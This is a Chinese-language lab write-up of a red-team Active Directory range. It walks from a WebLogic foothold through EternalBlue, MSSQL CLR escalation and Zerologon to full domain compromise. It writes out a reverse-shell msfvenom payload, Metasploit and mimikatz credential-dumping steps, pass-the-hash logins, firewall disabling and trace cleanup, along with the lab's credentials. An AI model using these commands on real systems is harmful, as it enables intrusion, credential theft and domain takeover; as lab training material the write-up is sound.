前言
本次多層網絡域滲透項目旨在模擬滲透測試人員在授權的情況下對目標進行滲透測試, 從外網打點到內網橫向滲透, 最終獲取整個內網權限的過程.
環境搭建
靶場下載地址:
https://pan.baidu.com/s/1DOaDrsDsB2aW0sHSO_-fZQ
提取碼: vbi2
靶場網絡拓撲圖為:
各靶機信息:
域控: windows Server 2008 + IIS + Exchange 2013 郵件服務
目錄還原密碼: redteam!@#45
主機名: owa
域管理員: administrator:Admin12345!
域內服務器Mssql: Windows Server 2008 + SQL Server 2008 (被配置了非約束委派)
主機名: sqlserver-2008
本地管理員:Administrator:Admin12345
域賬戶: redteamsqlserver:Server12345 (被配置了約束委派)
Mssql: sa:sa
域內個人PC: Windows 7
主機名: work-7
本地管理員:john: admin!@#45
域賬戶: redteamsaul:admin!@#45
單機服務器: Windows server r2 + weblogic
主機名: weblogic
本地管理員:Administrator:Admin12345
weblogic : weblogic: weblogic123(訪問 http://ip:7001)
weblogic 安裝目錄: C:OracleMiddlewareOracle_Homeuser_projectsdomainsbase_domain(手動運行下 startWebLogic.cmd)
其他域用戶:
域服務賬戶: redteamsqlserver:Server12345 (被配置了約束委派)
郵件用戶: redteammail:admin!@#45
加域賬戶: redteamadduser:Add12345
redteamsaulgoodman:Saul12345 (被配置了非約束委派)
redteamgu:Gu12345
redteamapt404:Apt12345
開啟Windows Server 2012 R2
后, 在C:OracleMiddlewareOracle_Homeuser_projectsdomainsbase_domain
目錄下雙擊startWebLogic.cmd
啟動weblogic
.
滲透測試
單機服務器
假定我們已經拿到了靶標IP
: 192.168.10.22
. 利用Nmap
對靶標進行簡易的掃描: nmap.exe -p1-65535 -Pn -A -T4 192.168.10.22
.
根據掃描結果發現7001
端口存在Oracle WebLogic
, 掃一梭子看看有沒有漏洞, 從掃描結果來看還是存在挺多漏洞的.
直接上工具開打, 發現是administrator
的權限, 直接注入內存馬, 冰蝎上線.
域內個人 PC
當拿下DMZ
區域的機器后, 除了權限維持和權限提升, 對于橫向滲透通常分一下兩個方面:
- 判斷機器是否為多網卡機器, 然后掃描其他網段, 來發現更多存在漏洞的機器;
- 盡量收集機器上面的敏感信息, 比如敏感內部文件、賬號密碼本等, 幫助后面快速突破防線.
由于我們拿下的機器已經是administrator
權限, 直接進行信息搜集即可, tasklist
查看進程發現不存在殺軟.
利用msfvenom
生成一個payload
: msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.9 LPORT=7777 -f exe > shell.exe
, 上傳到靶機后, MSF
上線.
抓一下密碼:
- 抓取自動登錄的密碼:
run windows/gather/credentials/windows_autologin
. - 導出密碼哈希:
hashdump
.
拿到Administrator
的密碼Admin12345
, 同時查詢域信息:
查詢網絡信息發現是雙網卡, 利用fscan
掃描一下網段: fscan64.exe -h 10.10.20.0/24 > result.txt
, 發現網段內存在新的機器10.10.20.7
, 445
端口是開放的, 疑似存在MS17-010
漏洞.
添加路由, 掃描一下MS17-010
.
run get_local_subnets
run autoroute -s 10.10.20.0/24
run autoroute -p
search ms17-010
use 3
set rhost 10.10.20.7
run
發現的確存在MS17-010
, 利用exploit/windows/smb/ms17_010_eternalblue
進行攻擊, 成功拿下該機器.
search ms17-010
use 0
set payload windows/x64/meterpreter/bind_tcp
set lport 11111
run
先查看一下權限, 發現直接就是system
權限, 也不需要進行提權的操作, 用mimikatz
抓一下密碼, 發現該主機在域環境redteam.red
內, 并且拿到一組域賬戶的用戶名和密碼: saul:admin!@#45
.
load mimikatz
creds_all
用其他的方式繼續抓一下密碼, 成功拿到一組本地用戶的用戶名及密碼: john:admin!@#45
.
hashdump
run windows/gather/smart_hashdump
run windows/gather/credentials/windows_autologin
域內服務器 Mssql
查看網段發現新網段, 繼續添加路由.
上傳一個fscan
, 掃描一下網段, 發現存在一臺Windows Server 2008 R2
機器: 10.10.10.18
, 開放了1433
端口, 并且獲得一組弱口令: sa:sa
.
MSF
配合Proxifier
開啟socks
代理隧道, 利用SharpSQLTools
執行命令, 發現是10.10.10.18
機器是一個低權限的賬號network service
.
參考MSSQL 利用 CLR 技術執行系統命令中的方法, 進行clr
提權, 成功提權到system
權限.
SharpSQLTools.exe 10.10.10.18 sa sa master install_clr
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami
利用exploit/windows/mssql/mssql_clr_payload
模塊, 先用低權限賬號上線, 接著上傳木馬, 利用SharpSQLTools
運行得到高權限.
接著使用mimikatz
抓取一下憑證, 得到兩個用戶的用戶名和密碼: Administrator:Admin12345
, sqlserver:Server12345
.
域控
由于不存在新的網段了, 在前面fscan
的掃描結果中還存在一個10.10.10.8
的地址, 不出意外該地址的機器就是域控了, 下面看看該如何拿下該臺機子.
先確定一下該臺機器是否是域控制器, 常見的方法有:
-
掃描內網中同時開放
389
和53
端口的機器. -
查看域控制器組:
net group "domain controllers" /domain
.
- 查看域控的機器名:
nslookup redteam.red; nslookup -type=SRV _ldap._tcp
.
- 查看域控當前時間:
net time /domain
.
確定該臺機器是域控制器后, 根據其版本信息嘗試用Netlogon
特權提升漏洞CVE-2020-1472
進行攻擊, 詳細內容見內網滲透-賬號提權.
在驗證存在Netlogon
特權提升漏洞后, 先重置一下域賬號, 置空密碼: Python/ target=_blank class=infotextkey>Python cve-2020-1472-exploit.py OWA 10.10.10.8
.
接著讀取域控中的hash
: python secretsdump.py redteam.red/OWA$@10.10.10.8 -just-dc -no-pass
.
獲取到的hash
后利用impacket
中的wmiexec.py
腳本進行登錄, 成功拿到shell
: python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cff51298880e redteam.red/administrator@10.10.10.8 -codec gbk
.
此時, 成功獲取到了域控的shell
. 但是這個shell
并不是穩定的, 真實環境中我們還需要進一步進行權限維持的操作, 在得到hash
之后, 先利用前面獲取到的shell
關閉一下防火墻: netsh advfirewall set allprofiles state off
, 接著便可以使用PSEXEC
模塊上線MSF
并進行后續的操作了.
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cff51298880e
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.8
set lport 4446
run
需要注意的是, 在做完權限維持后要及時恢復域控的密碼, 不然域控會脫域.
我們先導出SAM
中原來的hash
, 利用MSF
的shell
下載下來并及時刪除, 清理痕跡.
reg save HKLMSYSTEM system.save reg save HKLMSAM sam.save reg save HKLMSECURITY security.save download C:\sam.save C:\Users\95235\Desktop\sam.save download C:\security.save C:\Users\95235\Desktop\security.save download C:\system.save C:\Users\95235\Desktop\system.save del /f sam.save del /f system.save del /f security.save
接著利用腳本secretsdump.py
查看一下域控的hash
: python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
.
利用腳本reinstall_original_pw.py
恢復hash
: python reinstall_original_pw.py OWA 10.10.10.8 f4044edaafbdca41a6e53d234c14ab9a
.
最后利用空密碼再次進行連接來驗證是否恢復成功: python secretsdump.py redteam.red/OWA$@10.10.10.8 -just-dc -no-pass
.
效果圖
總結
由于打過幾次線下的CFS
靶場, 使用CS
感覺不佳, 本次打靶過程中就只使用了MSF
, 正好鍛煉一下自己對于MSF
各功能的使用, 打靶過程中的收獲還是挺大的. 靶機附件里面也給出了一個靶場存在漏洞的說明, 感興趣的師傅們也可以根據漏洞說明嘗試一下其他的打法.
對于靶機要說明的就是網盤里面分享的是一個完整的壓縮包然后從中間直接拆分出來的兩個數據塊, 使用的時候合并起來就行. 另一個sqlserver-2008
那臺機器的Sql Server 2008
好像過期了, 我是用命令行直接開啟的: net start mssqlserver
.